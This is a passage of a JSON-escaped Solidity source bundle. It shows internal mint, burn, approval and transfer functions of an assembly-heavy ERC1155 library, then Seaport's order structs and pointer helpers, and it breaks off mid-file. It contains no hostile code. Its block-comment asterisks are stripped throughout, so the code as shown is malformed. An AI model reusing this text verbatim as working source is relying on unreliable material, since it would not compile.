`to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* INTERNAL BURN FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* INTERNAL APPROVAL FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* INTERNAL TRANSFER FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* HOOKS FOR OVERRIDING /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* PRIVATE HELPERS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/*\n @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n /\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/\n @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n /\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/\n @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n /\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/\n @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n /\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/\n @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n /\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/\n @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n /\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/\n @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n /\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/\n @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n /\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/\n @dev Orders require a signature in addition to the other order parameters.\n /\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/\n @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n /\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/\n @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n /\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/\n @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n /\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/\n @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n /\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/\n @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n /\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/\n @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n /\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/\n @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n /\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/\n @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n /\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/\n @dev This library provides a set of functions for converting structs to\n * pointers.\n /\nlibrary StructPointers {\n /\n @dev Get a MemoryPointer from OrderComponents.\n \n @param obj The OrderComponents object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from OrderComponents.\n \n @param obj The OrderComponents object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from OfferItem.\n \n @param obj The OfferItem object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from OfferItem.\n \n @param obj The OfferItem object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from ConsiderationItem.\n \n @param obj The ConsiderationItem object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from ConsiderationItem.\n \n @param obj The ConsiderationItem object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from SpentItem.\n \n @param obj The SpentItem object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from SpentItem.\n \n @param obj The SpentItem object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from ReceivedItem.\n \n @param obj The ReceivedItem object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from ReceivedItem.\n \n @param obj The ReceivedItem object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from BasicOrderParameters.\n \n @param obj The 